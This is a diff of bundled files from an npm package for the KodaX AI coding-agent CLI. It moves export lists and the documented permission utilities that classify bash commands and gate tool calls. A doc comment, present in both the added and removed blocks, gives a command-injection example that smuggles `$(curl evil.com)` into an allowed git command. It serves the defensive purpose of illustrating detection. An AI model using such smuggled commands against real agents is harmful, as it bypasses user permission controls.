- import{$c as f,Fc as e,Gc as t,Hc as r,Ic as a,Jc as i,Kc as p,Lc as c,Mc as o,Nc as M,Oc as n,Pc as s,Qc as l,Rc as d,Sc as u,Tc as C,Uc as v,Vc as g,Wc as S,Xc as h,Yc as R,Zc as A,_c as b}from"./chunks/chunk-UGTK2JIJ.js";import"./chunks/chunk-ZL5CEANW.js";import"./chunks/chunk-V4WSBIXB.js";export{o as McpAuthRequiredError,R as McpCapabilityProvider,c as McpExpiredSessionError,A as McpManager,h as McpServerRuntime,S as buildInitializeCapabilities,t as createMcpCapabilityId,b as createMcpManager,f as createMcpTestServerFixture,M as createMcpTransport,e as defaultMcpCacheDir,d as discoverAuthorizationServerMetadata,u as discoverOAuthEndpoints,l as discoverProtectedResourceMetadata,s as extractInsufficientScope,n as extractResourceMetadataUrl,p as getMcpCachePaths,g as loadValidToken,r as normalizeMcpCapabilityId,a as parseMcpCapabilityId,v as performOAuthLogin,C as registerOAuthClient,i as searchMcpCatalog};
2
+ import{$c as R,Ic as e,Jc as t,Kc as r,Lc as a,Mc as i,Nc as p,Oc as c,Pc as o,Qc as M,Rc as n,Sc as s,Tc as l,Uc as d,Vc as u,Wc as C,Xc as v,Yc as g,Zc as S,_c as h,ad as A,bd as b,cd as f}from"./chunks/chunk-TLJGOKBT.js";import"./chunks/chunk-PZTG2C33.js";import"./chunks/chunk-ONUPGMER.js";export{o as McpAuthRequiredError,R as McpCapabilityProvider,c as McpExpiredSessionError,A as McpManager,h as McpServerRuntime,S as buildInitializeCapabilities,t as createMcpCapabilityId,b as createMcpManager,f as createMcpTestServerFixture,M as createMcpTransport,e as defaultMcpCacheDir,d as discoverAuthorizationServerMetadata,u as discoverOAuthEndpoints,l as discoverProtectedResourceMetadata,s as extractInsufficientScope,n as extractResourceMetadataUrl,p as getMcpCachePaths,g as loadValidToken,r as normalizeMcpCapabilityId,a as parseMcpCapabilityId,v as performOAuthLogin,C as registerOAuthClient,i as searchMcpCatalog};
package/dist/sdk-media.js CHANGED
@@ -1,2 +1,2 @@
1
1
  // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
2
- import{H as u,a as o,b as r,c as e,d as f,e as m,f as p,g as t,h as x,i as a,j as b,k as c,l as d,m as g,n as h,o as i,p as j,v as k,w as l,x as n,y as q,z as s}from"./chunks/chunk-ZL5CEANW.js";import"./chunks/chunk-V4WSBIXB.js";export{r as ImageResizeError,n as KODAX_FILE_MEDIA_TYPES,k as KODAX_IMAGE_MEDIA_TYPES,l as KODAX_VIDEO_MEDIA_TYPES,o as KodaXMediaError,x as MAX_DIMENSION,g as PASTE_TMP_DIR_ENV,h as PASTE_TMP_TTL_MS,a as TARGET_RAW_SIZE_BYTES,p as createFileArtifactFromPath,m as createImageArtifactFromPath,t as createVideoArtifactFromPath,u as enqueueWithArtifacts,q as getModelInputCapabilities,e as inferImageMediaType,f as inferVideoMediaType,b as normalizePastedImage,i as persistImageAsBlock,j as prunePasteTmpDir,d as readAndNormalizeClipboardImage,c as readClipboardImage,s as validateInputArtifactsForModel};
2
+ import{H as u,a as o,b as r,c as e,d as f,e as m,f as p,g as t,h as x,i as a,j as b,k as c,l as d,m as g,n as h,o as i,p as j,v as k,w as l,x as n,y as q,z as s}from"./chunks/chunk-PZTG2C33.js";import"./chunks/chunk-ONUPGMER.js";export{r as ImageResizeError,n as KODAX_FILE_MEDIA_TYPES,k as KODAX_IMAGE_MEDIA_TYPES,l as KODAX_VIDEO_MEDIA_TYPES,o as KodaXMediaError,x as MAX_DIMENSION,g as PASTE_TMP_DIR_ENV,h as PASTE_TMP_TTL_MS,a as TARGET_RAW_SIZE_BYTES,p as createFileArtifactFromPath,m as createImageArtifactFromPath,t as createVideoArtifactFromPath,u as enqueueWithArtifacts,q as getModelInputCapabilities,e as inferImageMediaType,f as inferVideoMediaType,b as normalizePastedImage,i as persistImageAsBlock,j as prunePasteTmpDir,d as readAndNormalizeClipboardImage,c as readClipboardImage,s as validateInputArtifactsForModel};
@@ -1,23 +1,26 @@
1
1
  import React$1, { ReactNode } from 'react';
2
- import { A as AppProps, M as Message, a3 as UIState, f as CreatableHistoryItem, i as HistoryItem, a0 as ToolCall, a2 as UIActions, K as KeyInfo, x as KeypressHandler, U as StreamingState, B as PromptEditingMode, I as InputPromptProps, T as StatusBarProps, Z as Theme, a1 as ToolCallStatus, V as Suggestion, a4 as UseTextBufferReturn, H as HistoryEntry, P as PastedContent, o as HistoryItemInfo } from './types-chunks/sdk-session-RBSBBKol.js';
3
- export { a as AppState, b as AppendClientNoticeOptions, C as CompactSessionOptions, c as CompactSessionResult, d as Completer, e as Completion, g as CursorPosition, D as DEFAULT_UI_STATE, h as DeleteSessionResult, F as FullTranscriptSessionData, j as HistoryItemAssistant, k as HistoryItemBase, l as HistoryItemError, m as HistoryItemEvent, n as HistoryItemHint, p as HistoryItemSidecar, q as HistoryItemSystem, r as HistoryItemThinking, s as HistoryItemToolGroup, t as HistoryItemType, u as HistoryItemUser, v as HistorySeedSourceMessage, w as KeypressEvent, y as KeypressHandlerPriority, L as LegacyMessageListProps, z as ListSessionsOptions, E as PromptSubmitPayload, R as RestoreHistoryItemsFromSessionInput, G as RestoredHistorySeed, J as RunningSessionInfo, S as SessionManager, N as SessionSummary, O as SessionTranscriptEntry, Q as SessionTranscriptEntryType, W as TOOL_STATUS_ICONS, X as TextBuffer, Y as TextBufferOptions, _ as ThemeColors, $ as ThemeSymbols, a5 as VisualCursor, a6 as VisualLayout, a7 as WatchSessionsCallback, a8 as appendClientNotice, a9 as archiveSession, aa as compactSession, ab as createSessionManager, ac as deleteSession, ad as extractHistorySeedsFromMessage, ae as extractHistorySeedsFromMessages, af as extractTextContent, ag as extractTitle, ah as forkSession, ai as formatMessagePreview, aj as listRunningSessions, ak as listSessions, al as loadFullTranscript, am as loadSession, an as restoreHistoryItemsFromSession, ao as rewindSession, ap as seedToHistoryItem, aq as setActiveEntry, ar as toolCallSeedToHistoryToolCall, as as trimPersistedUiHistorySnapshot, at as unarchiveSession, au as watchSessions } from './types-chunks/sdk-session-RBSBBKol.js';
4
- export { B as BUILTIN_COMMANDS, C as Command, a as CommandCallbacks, b as CurrentConfig, I as InkREPLOptions, c as InteractiveContext, d as InteractiveMode, K as KODAX_CONFIG_FILE, e as KODAX_DIR, f as KODAX_EXAMPLE_CONFIG_FILE, g as KODAX_SESSIONS_DIR, h as KODAX_VERSION, P as PREVIEW_MAX_LENGTH, R as RepLOptions, i as createInteractiveContext, j as ensureExampleConfigFile, k as executeCommand, l as getGitRoot, m as getProviderList, n as getProviderModel, o as getVersion, p as hydrateProcessEnvFromShell, q as isProviderConfigured, r as loadConfig, s as parseCommand, t as prepareRuntimeConfig, u as processSpecialSyntax, v as rateLimitedCall, w as registerConfiguredCustomProviders, x as runInkInteractiveMode, y as runInteractiveMode, z as saveConfig, A as touchContext } from './types-chunks/utils.d-C14jZ9ZM.js';
5
- import { y as KodaXEvents, m as KodaXAgentMode, aH as ProviderRecoveryEvent, a as BashPrefixExtractor, $ as KodaXResult } from './types-chunks/bash-prefix-extractor.d-CZW9fRoa.js';
6
- import { f as QueuedMessage } from './types-chunks/types.d-1CnTg7Sd.js';
7
- import { b as PermissionMode } from './types-chunks/storage.d-C6kkAEch.js';
8
- export { C as ConfirmResult, F as FileSessionStorage, M as MemorySessionStorage, P as PERMISSION_MODES, a as PermissionContext, S as SessionData, c as SessionStorage, d as computeConfirmTools, e as createMemorySessionStorage, i as isPermissionMode, n as normalizePermissionMode, p as permissionModeDisplayName } from './types-chunks/storage.d-C6kkAEch.js';
2
+ import { A as AppProps, M as Message, Q as UIState, c as CreatableHistoryItem, e as HistoryItem, N as ToolCall, U as UIActions, K as KeyInfo, t as KeypressHandler, y as StreamingState, v as PromptEditingMode, I as InputPromptProps, S as StatusBarProps, F as Theme, O as ToolCallStatus, z as Suggestion, V as UseTextBufferReturn, H as HistoryEntry, P as PastedContent, k as HistoryItemInfo } from './types-chunks/sdk-session-CLqyfAmf.js';
3
+ export { a as AppState, C as Completer, b as Completion, d as CursorPosition, D as DEFAULT_UI_STATE, f as HistoryItemAssistant, g as HistoryItemBase, h as HistoryItemError, i as HistoryItemEvent, j as HistoryItemHint, l as HistoryItemSidecar, m as HistoryItemSystem, n as HistoryItemThinking, o as HistoryItemToolGroup, p as HistoryItemType, q as HistoryItemUser, r as HistorySeedSourceMessage, s as KeypressEvent, u as KeypressHandlerPriority, L as LegacyMessageListProps, w as PromptSubmitPayload, R as RestoreHistoryItemsFromSessionInput, x as RestoredHistorySeed, T as TOOL_STATUS_ICONS, B as TextBuffer, E as TextBufferOptions, G as ThemeColors, J as ThemeSymbols, W as VisualCursor, X as VisualLayout, Y as extractHistorySeedsFromMessage, Z as extractHistorySeedsFromMessages, _ as extractTextContent, $ as extractTitle, a0 as formatMessagePreview, a1 as restoreHistoryItemsFromSession, a2 as seedToHistoryItem, a3 as toolCallSeedToHistoryToolCall, a4 as trimPersistedUiHistorySnapshot } from './types-chunks/sdk-session-CLqyfAmf.js';
4
+ export { B as BUILTIN_COMMANDS, C as Command, I as InkREPLOptions, a as InkRuntimeRunner, b as InkRuntimeRunnerInput, c as InkRuntimeStatusProvider, R as RepLOptions, d as ReplRuntimeRunner, e as ReplRuntimeRunnerInput, f as ReplRuntimeStatusProvider, g as executeCommand, h as getCommandRegistry, p as parseCommand, i as processSpecialSyntax, r as runInkInteractiveMode, j as runInteractiveMode } from './types-chunks/commands.d-C3B1TdGM.js';
5
+ import { a as BashPrefixExtractor, L as KodaXEvents, r as KodaXAgentMode, aN as ProviderRecoveryEvent, a5 as KodaXResult } from './types-chunks/bash-prefix-extractor.d-BjkITAva.js';
6
+ import { c as QueuedMessage } from './types-chunks/types.d-BMLxKV69.js';
7
+ import { f as PermissionMode } from './types-chunks/public-api.d-jtREVfEq.js';
8
+ export { A as AppendClientNoticeOptions, C as CompactSessionOptions, a as CompactSessionResult, b as ConfirmResult, D as DeleteSessionResult, F as FILE_MODIFICATION_TOOLS, c as FileSessionStorage, d as FullTranscriptSessionData, L as ListSessionsOptions, M as MemorySessionStorage, P as PERMISSION_MODES, e as PermissionContext, R as RunningSessionInfo, S as SessionData, g as SessionManager, h as SessionStorage, i as SessionSummary, j as SessionTranscriptEntry, k as SessionTranscriptEntryType, W as WatchSessionsCallback, l as appendClientNotice, m as archiveSession, n as compactSession, o as computeConfirmTools, p as createMemorySessionStorage, q as createSessionManager, r as deleteSession, s as forkSession, t as isPermissionMode, u as listRunningSessions, v as listSessions, w as loadFullTranscript, x as loadSession, y as normalizePermissionMode, z as permissionModeDisplayName, B as rewindSession, E as setActiveEntry, G as unarchiveSession, H as watchSessions } from './types-chunks/public-api.d-jtREVfEq.js';
9
+ import { c as CommandInfo } from './types-chunks/utils.d-C1rpoeDh.js';
10
+ export { a as CommandCallbacks, g as CurrentConfig, I as InteractiveContext, h as InteractiveMode, K as KODAX_CONFIG_FILE, i as KODAX_DIR, j as KODAX_EXAMPLE_CONFIG_FILE, k as KODAX_SESSIONS_DIR, l as KODAX_VERSION, P as PREVIEW_MAX_LENGTH, R as RuntimeSurfaceMode, m as RuntimeSurfaceStatus, n as createInteractiveContext, o as ensureExampleConfigFile, p as getGitRoot, q as getProviderList, r as getProviderModel, s as getVersion, t as hydrateProcessEnvFromShell, u as isProviderConfigured, v as loadConfig, w as prepareRuntimeConfig, x as rateLimitedCall, y as registerConfiguredCustomProviders, z as resolveRuntimeEffortSelection, A as resolveRuntimeModelSelection, B as resolveRuntimeProviderSelection, D as saveConfig, E as touchContext } from './types-chunks/utils.d-C1rpoeDh.js';
9
11
  import { d as KodaXCustomProviderConfig } from './types-chunks/types.d-Bp4Lm1jv.js';
10
12
  export { R as KodaXTaskResultMetadata, S as KodaXTaskResultSource } from './types-chunks/types.d-Bp4Lm1jv.js';
11
13
  import { a as McpServerConfig, b as McpServersConfig } from './types-chunks/config.d-CJy1WENT.js';
12
14
  export { ao as KodaXSessionUiHistoryItem, ap as KodaXSessionUiHistoryItemType, aq as KodaXSessionUiTextHistoryItem, ar as KodaXSessionUiTextHistoryItemType, as as KodaXSessionUiToolCall, at as KodaXSessionUiToolCallStatus, au as KodaXSessionUiToolGroupHistoryItem } from './types-chunks/process.d-CY2g03Mb.js';
13
- import { a as AutoModeAskUser, S as SignalCollector, g as AutoModeToolGuardrail, o as RulesLoadResult } from './types-chunks/guardrail.d-MR6LwMB2.js';
14
- import 'readline';
15
- import 'child_process';
15
+ import { a as AutoModeAskUser, S as SignalCollector, g as AutoModeToolGuardrail, o as RulesLoadResult } from './types-chunks/guardrail.d-wk-s0psS.js';
16
16
  import './types-chunks/types.d-vJExiRje.js';
17
17
  import 'vscode-languageserver-protocol';
18
18
  import './types-chunks/cost-tracker.d-CBLk1fiD.js';
19
19
  import './types-chunks/capability.d-3C62G8Eq.js';
20
20
  import './types-chunks/base.d-DalIRhbb.js';
21
+ import 'readline';
22
+ import 'child_process';
23
+ import './types-chunks/guardrail.d-C_Siraua.js';
21
24
 
22
25
  /**
23
26
  * App - KodaX CLI root component.
@@ -40,6 +43,183 @@ interface AppHandle {
40
43
  setTool: (tool: string | undefined) => void;
41
44
  }
42
45
 
46
+ /**
47
+ * Permission Utilities
48
+ *
49
+ * 权限工具函数 - 模式解析、匹配、路径检查
50
+ *
51
+ * Pattern format (ONLY for Bash tool in accept-edits mode):
52
+ * - "Bash(npm install)" - exact command match
53
+ * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
54
+ * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
55
+ *
56
+ * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
57
+ */
58
+
59
+ /**
60
+ * Check if a bash command is strictly a safe read-only operation (Whitelist).
61
+ *
62
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
63
+ * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
64
+ * - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
65
+ * - pipeline stages split on `|` (every stage must be a safe-read command),
66
+ * - per-stage redirections (input redirects rejected; output redirects only
67
+ * allowed when the target is a null device, which discards output rather
68
+ * than writing — preserves Issue 129 behavior),
69
+ * - `unparseable: true` for inputs we can't model (heredocs, command
70
+ * substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
71
+ * `false` so unmodeled syntax always falls through to confirmation.
72
+ *
73
+ * Per-stage syntactic checks (`isSingleBashReadCommand`) are unchanged —
74
+ * the AST migration only replaces the splitting + null-device-strip layer.
75
+ *
76
+ * @param command - bash command string
77
+ * @returns true if the command is a safe read operation
78
+ */
79
+ declare function isBashReadCommand(command: string): boolean;
80
+ /**
81
+ * Check if a bash command is a write operation.
82
+ *
83
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
84
+ * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
85
+ * classes of false positives the regex chain had:
86
+ * 1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
87
+ * `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
88
+ * blacklist of pre-compiled regexes. The strip was fragile — any
89
+ * future fd-redirect form would re-introduce the false positive.
90
+ * Now redirections are structured tokens with a `target` field;
91
+ * `isNullDevice(target)` is the single source of truth.
92
+ * 2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
93
+ * matched `set-content` even when it appeared inside a quoted string
94
+ * argument or inside a path. AST argv tokens are post-quote-stripping
95
+ * so PowerShell verb checks compare against actual command names.
96
+ *
97
+ * Detection rules (per-stage):
98
+ * - argv[0] OR argv[0..1] (joined with space) matches any entry in
99
+ * `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
100
+ * - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
101
+ * appear inline, not just at stage start, due to PowerShell pipeline
102
+ * conventions — `ls | Set-Content foo` puts the verb at argv[0] of
103
+ * stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
104
+ * stage 1; we cover both with a token-anywhere check).
105
+ * - any non-input redirection whose target is NOT a null device.
106
+ *
107
+ * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
108
+ * `false` to match the pre-AST regex chain's behavior — those inputs just
109
+ * didn't match anything in the regex blacklist either. Plan-mode and
110
+ * auto-mode handle the unparseable case via separate confirmation paths.
111
+ *
112
+ * @param command - bash command string
113
+ * @returns true if the command is a write operation
114
+ */
115
+ declare function isBashWriteCommand(command: string): boolean;
116
+ /**
117
+ * Check if a tool call is allowed by the user's allowlist patterns.
118
+ *
119
+ * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
120
+ * routed through the LLM-backed prefix extractor, which:
121
+ * - Returns the SAFE PREFIX of the command (e.g. `git commit` for
122
+ * `git commit -m "msg"`)
123
+ * - Returns `injection_detected` for inputs containing command injection
124
+ * (`git commit -m "x" $(curl evil.com)`)
125
+ * - Returns `no_prefix` when no safe prefix can be determined
126
+ * Patterns then match against the extracted prefix exactly. This eliminates
127
+ * the pre-FEATURE_153 startsWith-based injection surface.
128
+ *
129
+ * When `extractor` is NOT supplied, falls back to the legacy
130
+ * `command.startsWith(pattern)` matcher. Documented as insecure in
131
+ * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
132
+ * production; the legacy branch exists for tests and headless SDK consumers
133
+ * without LLM access.
134
+ *
135
+ * Note: Only Bash tool is supported for pattern matching.
136
+ *
137
+ * @param toolName — tool name (only "bash" / "Bash" matched)
138
+ * @param input — tool call input; reads `input.command`
139
+ * @param allowedPatterns — entries like `Bash(git commit:*)` from
140
+ * `~/.kodax/config.json` `alwaysAllowTools`
141
+ * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
142
+ * @param signal — optional abort signal forwarded to the extractor
143
+ */
144
+ declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
145
+ /**
146
+ * Generate pattern string for saving
147
+ */
148
+ declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
149
+ /**
150
+ * Check if target path requires always-confirm (permanent protection zones)
151
+ *
152
+ * Protected zones (always require confirmation, regardless of mode):
153
+ * - .kodax/ project config directory
154
+ * - ~/.kodax/ user config directory
155
+ * - Paths outside the project root AND outside the system temp directory
156
+ *
157
+ * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
158
+ * treated as a safe scratchpad in all modes — writing there is auto-allowed.
159
+ * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
160
+ * already explicitly permit system-temp writes, so accept-edits and
161
+ * auto-in-project should not be stricter than plan mode on this dimension.
162
+ */
163
+ declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
164
+ /**
165
+ * Check if a bash command operates on any protected paths
166
+ * Issue 052: Prevent "always" option for bash commands on protected paths
167
+ */
168
+ declare function isCommandOnProtectedPath(command: string, projectRoot: string): boolean;
169
+ /**
170
+ * Check whether a path stays inside the project root after resolution.
171
+ */
172
+ declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
173
+ /**
174
+ * Collect the file targets that a bash command might write to. Used by
175
+ * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
176
+ *
177
+ * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
178
+ * version concatenated four overlapping regex sweeps over the raw command
179
+ * string — each had its own substring-vs-token pitfalls (e.g. `tee`
180
+ * matched as substring in `committee.txt`). The AST gives clean argv
181
+ * tokens with quoting stripped, and per-stage redirection targets.
182
+ */
183
+ declare function collectBashWriteTargets(command: string): string[];
184
+ declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
185
+ dangerous: boolean;
186
+ reason?: string;
187
+ };
188
+ /**
189
+ * v0.7.42 — Metadata-driven plan-mode gate.
190
+ *
191
+ * Decision order (first match wins):
192
+ *
193
+ * 1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
194
+ * permitted (`null`). Covers planning-loop tools whose effect IS the
195
+ * planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
196
+ * `ask_user_question`, plus read-class network queries
197
+ * (`web_search`, `mcp_search` / `mcp_describe` /
198
+ * `mcp_read_resource` / `mcp_get_prompt`).
199
+ * 2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
200
+ * permitted (`null`). Read tools never need plan-mode gating.
201
+ * 3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
202
+ * (computed from `sideEffect === 'mutates-fs' AND requires path`)
203
+ * can write IF the target path is `.agent/plan_mode_doc.md` or the
204
+ * system temp dir.
205
+ * 4. `bash` special case: command-content-aware check via
206
+ * `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
207
+ * (`git status`, `ls`, …) is permitted; write bash with all targets
208
+ * in the plan-doc / temp escape is permitted; everything else
209
+ * blocks.
210
+ * 5. Everything else with a side effect → blocked with a generic
211
+ * reason naming the side-effect class.
212
+ *
213
+ * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
214
+ * a hardcoded 4-tool list that silently let `multi_edit`,
215
+ * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
216
+ * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
217
+ * fall through to `return null` (permitted). The metadata-driven gate
218
+ * closes that gap structurally — new mutating tools auto-block until
219
+ * explicitly opted in via `planModeAllowed: true`.
220
+ */
221
+ declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string): string | null;
222
+
43
223
  /**
44
224
  * KodaX CLI Event Handler - CLI 事件处理器
45
225
  *
@@ -1891,6 +2071,12 @@ declare function getTheme(name?: string): Theme;
1891
2071
  */
1892
2072
  declare function getThemeNames(): string[];
1893
2073
 
2074
+ /**
2075
+ * Public command-system exports.
2076
+ */
2077
+
2078
+ declare function listRegisteredCommands(projectRoot?: string): CommandInfo[];
2079
+
1894
2080
  /**
1895
2081
  * Custom provider CRUD — v0.7.42 (closes gap 7 reported by KodaX Space).
1896
2082
  *
@@ -2099,178 +2285,6 @@ interface SessionDedupeReport {
2099
2285
  }
2100
2286
  declare function dedupeSessions(options?: SessionDedupeOptions): Promise<SessionDedupeReport>;
2101
2287
 
2102
- /**
2103
- * Permission Utilities
2104
- *
2105
- * 权限工具函数 - 模式解析、匹配、路径检查
2106
- *
2107
- * Pattern format (ONLY for Bash tool in accept-edits mode):
2108
- * - "Bash(npm install)" - exact command match
2109
- * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
2110
- * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
2111
- *
2112
- * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
2113
- */
2114
-
2115
- /**
2116
- * Check if a bash command is strictly a safe read-only operation (Whitelist).
2117
- *
2118
- * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
2119
- * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
2120
- * - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
2121
- * - pipeline stages split on `|` (every stage must be a safe-read command),
2122
- * - per-stage redirections (input redirects rejected; output redirects only
2123
- * allowed when the target is a null device, which discards output rather
2124
- * than writing — preserves Issue 129 behavior),
2125
- * - `unparseable: true` for inputs we can't model (heredocs, command
2126
- * substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
2127
- * `false` so unmodeled syntax always falls through to confirmation.
2128
- *
2129
- * Per-stage syntactic checks (`isSingleBashReadCommand`) are unchanged —
2130
- * the AST migration only replaces the splitting + null-device-strip layer.
2131
- *
2132
- * @param command - bash command string
2133
- * @returns true if the command is a safe read operation
2134
- */
2135
- declare function isBashReadCommand(command: string): boolean;
2136
- /**
2137
- * Check if a bash command is a write operation.
2138
- *
2139
- * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
2140
- * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
2141
- * classes of false positives the regex chain had:
2142
- * 1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
2143
- * `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
2144
- * blacklist of pre-compiled regexes. The strip was fragile — any
2145
- * future fd-redirect form would re-introduce the false positive.
2146
- * Now redirections are structured tokens with a `target` field;
2147
- * `isNullDevice(target)` is the single source of truth.
2148
- * 2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
2149
- * matched `set-content` even when it appeared inside a quoted string
2150
- * argument or inside a path. AST argv tokens are post-quote-stripping
2151
- * so PowerShell verb checks compare against actual command names.
2152
- *
2153
- * Detection rules (per-stage):
2154
- * - argv[0] OR argv[0..1] (joined with space) matches any entry in
2155
- * `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
2156
- * - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
2157
- * appear inline, not just at stage start, due to PowerShell pipeline
2158
- * conventions — `ls | Set-Content foo` puts the verb at argv[0] of
2159
- * stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
2160
- * stage 1; we cover both with a token-anywhere check).
2161
- * - any non-input redirection whose target is NOT a null device.
2162
- *
2163
- * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
2164
- * `false` to match the pre-AST regex chain's behavior — those inputs just
2165
- * didn't match anything in the regex blacklist either. Plan-mode and
2166
- * auto-mode handle the unparseable case via separate confirmation paths.
2167
- *
2168
- * @param command - bash command string
2169
- * @returns true if the command is a write operation
2170
- */
2171
- declare function isBashWriteCommand(command: string): boolean;
2172
- /**
2173
- * Check if a tool call is allowed by the user's allowlist patterns.
2174
- *
2175
- * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
2176
- * routed through the LLM-backed prefix extractor, which:
2177
- * - Returns the SAFE PREFIX of the command (e.g. `git commit` for
2178
- * `git commit -m "msg"`)
2179
- * - Returns `injection_detected` for inputs containing command injection
2180
- * (`git commit -m "x" $(curl evil.com)`)
2181
- * - Returns `no_prefix` when no safe prefix can be determined
2182
- * Patterns then match against the extracted prefix exactly. This eliminates
2183
- * the pre-FEATURE_153 startsWith-based injection surface.
2184
- *
2185
- * When `extractor` is NOT supplied, falls back to the legacy
2186
- * `command.startsWith(pattern)` matcher. Documented as insecure in
2187
- * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
2188
- * production; the legacy branch exists for tests and headless SDK consumers
2189
- * without LLM access.
2190
- *
2191
- * Note: Only Bash tool is supported for pattern matching.
2192
- *
2193
- * @param toolName — tool name (only "bash" / "Bash" matched)
2194
- * @param input — tool call input; reads `input.command`
2195
- * @param allowedPatterns — entries like `Bash(git commit:*)` from
2196
- * `~/.kodax/config.json` `alwaysAllowTools`
2197
- * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
2198
- * @param signal — optional abort signal forwarded to the extractor
2199
- */
2200
- declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
2201
- /**
2202
- * Generate pattern string for saving
2203
- */
2204
- declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
2205
- /**
2206
- * Check if target path requires always-confirm (permanent protection zones)
2207
- *
2208
- * Protected zones (always require confirmation, regardless of mode):
2209
- * - .kodax/ project config directory
2210
- * - ~/.kodax/ user config directory
2211
- * - Paths outside the project root AND outside the system temp directory
2212
- *
2213
- * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
2214
- * treated as a safe scratchpad in all modes — writing there is auto-allowed.
2215
- * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
2216
- * already explicitly permit system-temp writes, so accept-edits and
2217
- * auto-in-project should not be stricter than plan mode on this dimension.
2218
- */
2219
- declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
2220
- /**
2221
- * Check whether a path stays inside the project root after resolution.
2222
- */
2223
- declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
2224
- /**
2225
- * Collect the file targets that a bash command might write to. Used by
2226
- * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
2227
- *
2228
- * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
2229
- * version concatenated four overlapping regex sweeps over the raw command
2230
- * string — each had its own substring-vs-token pitfalls (e.g. `tee`
2231
- * matched as substring in `committee.txt`). The AST gives clean argv
2232
- * tokens with quoting stripped, and per-stage redirection targets.
2233
- */
2234
- declare function collectBashWriteTargets(command: string): string[];
2235
- declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
2236
- dangerous: boolean;
2237
- reason?: string;
2238
- };
2239
- /**
2240
- * v0.7.42 — Metadata-driven plan-mode gate.
2241
- *
2242
- * Decision order (first match wins):
2243
- *
2244
- * 1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
2245
- * permitted (`null`). Covers planning-loop tools whose effect IS the
2246
- * planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
2247
- * `ask_user_question`, plus read-class network queries
2248
- * (`web_search`, `mcp_search` / `mcp_describe` /
2249
- * `mcp_read_resource` / `mcp_get_prompt`).
2250
- * 2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
2251
- * permitted (`null`). Read tools never need plan-mode gating.
2252
- * 3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
2253
- * (computed from `sideEffect === 'mutates-fs' AND requires path`)
2254
- * can write IF the target path is `.agent/plan_mode_doc.md` or the
2255
- * system temp dir.
2256
